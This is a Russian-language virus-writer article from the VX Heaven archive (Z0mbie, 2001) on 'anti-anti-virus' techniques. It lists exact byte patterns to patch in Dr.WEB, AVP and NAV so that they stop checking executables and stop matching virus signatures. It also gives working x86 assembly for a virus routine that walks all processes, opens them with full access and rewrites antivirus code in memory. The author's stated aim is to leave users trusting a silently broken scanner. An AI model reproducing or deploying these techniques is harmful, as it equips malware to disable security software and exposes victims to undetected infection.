Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Анти-анти-вирус

Z0mbie
Total Zombification [1]
Январь 2001

[Вернуться к списку] [Комментарии]

Замечательная это вещь, когда код антивируса лежит в открытую... делай с ним что хочешь.

Берутся антивирусные файлы (ими можно считать все EXE/DLL файлы, у которых один из подкаталогов начинается на WEB, DRWEB и т.п.) и по одному обрабатываются следующим образом:

	3D 4D 5A 00 00	cmp	eax, 'MZ'
	3D 50 45 00 00	cmp	eax, 'PE'
	3D 4C 45 00 00	cmp	eax, 'LE'
	3D 4E 45 00 00	cmp	eax, 'NE'

заменяется на

	3D nn nn nn nn	cmp	eax, nnn

В результате антивирус теряет способность проверять EXE, PE, VXD, и т.п. файлы, а остаются ему одни комовики. Ну и хуй сними. Главное, что EICAR по прежнему детектируется. ;-)

Далее, ищутся в файле стандартные куски подсчитывающие CRC для вирусных сигнатур, и тоже слегка изменяются.

	Dr.WEB:
	30 D6		xor	dh, dl
	30 E2		xor	dl, ah
	30 C4		xor	ah, al
	.. ..
	30 F0		xor	al, dh -->	00 F0 add al, dh

	AVP/1:
	8D 14 00	lea	edx, [eax][eax]
	8A 19		mov	bl, [ecx]
	33 D3		xor	edx, ebx
	33 C2		xor	eax, edx -->	33 C0 xor eax, eax

	AVP/2:
	8B D0		mov	edx, eax
	33 DB		xor	ebx, ebx
	8A 19		mov	bl, [ecx]
	C1 E2 08	shl	edx, 8
	33 D3		xor	edx, ebx
	33 C2		xor	eax, edx -->	33 C0 xor eax, eax

	AVPI,crc32
	C1 E8 08	shr	eax, 8
	8B 14 95 xx xx xx xx
			mov	edx, crc32tab[edx*4]
	33 C2		xor	eax, edx -->	33 c0 xor eax,eax

	C1 E9 08	shr	ecx, 8
	8B 04 85 xx xx xx xx
			mov	eax, crc32tab[eax*4]
	33 C1		xor	eax, ecx -->	33 c0 xor eax,eax

	NAV
	FF 75 xx	push	[ebp+xx]
	8D 45 nn	lea	eax, [ebp+virus_id]
	50		push	eax
	FF 75 xx	push	[ebp+xx]
	E8 xx xx xx xx	call	xxxxxxxx	; copy_virus_name
	83[C4 0C	add	esp, 0Ch
	FF 75]xx	push	[ebp+xx]
	E8 xx xx xx xx	call	xxxxxxxx	; [email protected]
	8B 45 nn	mov	eax, [ebp+virus_id] <-- 33 C0 / 90
	EB xx		jmp	xxxxxxxx	(xor eax, eax / nop)

В результате антивир теряет способность узнавать свои собственные записи о вирусных сигнатурах, и не может детектировать вообще ничего.

Затем ищутся такие вещи, как первый (не нулевой) дворд из стандартных таблиц crc16/crc32. И вся таблица зануляется. В результате сканер теряет способность распаковывать архивы, а ревизор перестает орать на модифицированные файлы.

Все эти веселые вещи были когда-то реализованы в тулзе под названием AAV, и обозвана она была как Trojan.AAVPatch.

Однако, антивирусники потихоньку умнеют, и теперь один за другим начинают файлики свои запаковывать. Как быть?

А выход простой. При запуске вируса сканируются все процессы и производится патч антивирусов в памяти:

WALKER_SIZE             equ     262144          ; 256K размер буфера

                        call    walker_main
                        ...

th_pe_struc             struc                   ; toolhelp Process info Entry
th_pe_dwSize            dd      ?
th_pe_cntUsage          dd      ?
th_pe_th32ProcessID     dd      ?               ; this process
th_pe_th32DefaultHeapID dd      ?               ; ULONG_PTR
th_pe_th32ModuleID      dd      ?               ; associated exe
th_pe_cntThreads        dd      ?
th_pe_th32ParentProcessID dd    ?               ; this process's parent process
th_pe_pcPriClassBase    dd      ?               ; Base priority of process's threads
th_pe_dwFlags           dd      ?
th_pe_szExeFile         db      260 dup (?)
ends

mbi_struc               struc
mbi_BaseAddress         dd      ?               ; base address of region
mbi_AllocationBase      dd      ?               ; allocation base address
mbi_AllocationProtect   dd      ?               ; initial access protection
mbi_RegionSize          dd      ?               ; size, in bytes, of region
mbi_State               dd      ?               ; committed, reserved, free
mbi_Protect             dd      ?               ; current access protection
mbi_Type                dd      ?               ; type of pages
ends

walker_main             proc    pascal
                        local   snaphandle:DWORD
                        local   th_pe:BYTE:size th_pe_struc
                        local   mbi:BYTE:size mbi_struc
                        pusha

                        ; выделим буфер
                        push    WALKER_SIZE
                        push    0
                        call    GlobalAlloc
                        xchg    edi, eax

                        ; используем TOOLHELP32.DLL
                        push    0
                        push    2               ; TH32CS_SNAPPROCESS
                        call    CreateToolhelp32Snapshot
                        cmp     eax, -1
                        je      __exit
                        mov     snaphandle, eax

                        mov     th_pe.th_pe_dwSize, size th_pe_struc

                        ; найдем процесс
                        lea     eax, th_pe
                        push    eax
                        push    snaphandle
                        call    Process32First
__processcycle:         or      eax, eax
                        jz      __processdone

                        ; проверим расширение
                        lea     edx, th_pe.th_pe_szExeFile
__scan0:                mov     al, [edx]
                        inc     edx
                        or      al, al
                        jnz     __scan0
                        mov     eax, [edx-5]
                        or      eax, 20202000h
                        neg     eax
                        cmp     eax, -'exe.'
                        jne     __nextprocess

                        ; проверим, чтобы не текущий процесс
                        call    GetCurrentProcessId
                        cmp     eax, th_pe.th_pe_th32ProcessID
                        je      __nextprocess

                        ; откроем на запись
                        push    th_pe.th_pe_th32ProcessID ; process id
                        push    0
                        push    001F0FFFh       ; PROCESS_ALL_ACCESS
                        call    OpenProcess
                        cmp     eax, -1
                        je      __nextprocess
                        xchg    ebx, eax        ; process handle

                        ; сканируем все блоки памяти процесса
                        mov     esi, 00400000h  ; start address

__querycycle:           lea     eax, mbi
                        push    size mbi_struc
                        push    eax
                        push    esi             ; address
                        push    ebx             ; process handle
                        call    VirtualQueryEx
                        cmp     eax, size mbi_struc
                        jne     __querydone

                        ; проверяем, чтоб блок был подгружен в память
                        mov     eax, mbi.mbi_State
                        cmp     eax, 1000h      ; MEM_COMMIT
                        jne     __nextregion

                        ; патчим блок памяти
                        mov     ecx, mbi.mbi_RegionSize
                        call    walker_fuxor

__nextregion:           add     esi, mbi.mbi_RegionSize
                        cmp     esi, 80000000h  ; end address
                        jb      __querycycle

__querydone:            push    ebx             ; process handle
                        call    CloseHandle

__nextprocess:          lea     eax, th_pe
                        push    eax
                        push    snaphandle
                        call    Process32Next
                        jmp     __processcycle

__processdone:          push    snaphandle
                        call    CloseHandle

__exit:                 push    edi
                        call    GlobalFree

                        popa
                        ret
endp

; разбиваем большой блок памяти на куски и передаем дальше.
; это нужно для того, чтобы не возник трэш и прочие глюки

; action: split big block (size in ECX) into small blocks (calls)
; input: EBX=process handle
; ESI=memory block address
; ECX=memory block size
; EDI=temp block

walker_fuxor:           pusha

                        mov     eax, ecx

__cycle:                mov     ecx, WALKER_SIZE
                        cmp     ecx, eax
                        jbe     __be
                        mov     ecx, eax
__be:
                        call    walker_fuxor_real

                        add     esi, ecx
                        sub     eax, ecx
                        jnz     __cycle

                        popa
                        retn

; патчим блок памяти, длина блока заведомо не больше WALKER_SIZE

; input: EBX=process handle
; ESI=memory block address
; ECX=memory block size
; EDI=temp block

walker_fuxor_real:      pusha

                        call    mem_read
                        jc      __exit

                        ; EDI=buffer, ECX=buffer size

                        ...патчим буфер...

                        call    mem_write       ; update buffer if patched

__exit:                 popa
                        retn

; процедура чтения памяти из контекста процесса
mem_read:               pusha
                        push    0
                        push    esp             ; @bytesread
                        push    ecx             ; bytes to read
                        push    edi             ; write to
                        push    esi             ; address (read from)
                        push    ebx             ; process handle
                        call    ReadProcessMemory
                        pop     ecx
                        or      eax, eax
                        jz      __bad
                        cmp     ecx, [esp+6*4] ; pusha.ecx
                        jne     __bad
                        popa
                        clc
                        retn
__bad:                  popa
                        stc
                        retn

; процедура записи памяти в контекст процесса
mem_write:              pusha
                        push    0               ; @byteswritten
                        push    ecx             ; bytes to write
                        push    edi             ; read from
                        push    esi             ; address (write to)
                        push    ebx             ; process handle
                        call    WriteProcessMemory
                        popa
                        retn
 

Вообще, технология защиты от антивирусов такая же, как и от вирусов, ну, разве что кроме ревизоров. То есть можно сделать: сканер (на диске/в памяти), монитор, гвард, эвристик... поиск в архивах...

При этом антивир прямо-таки необходимо пропатчить, а не убить: в результате юзер будет успокаивать свою совесть выкачивая новые апдейты к пропатченому антивиру, и всем будет рулез.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua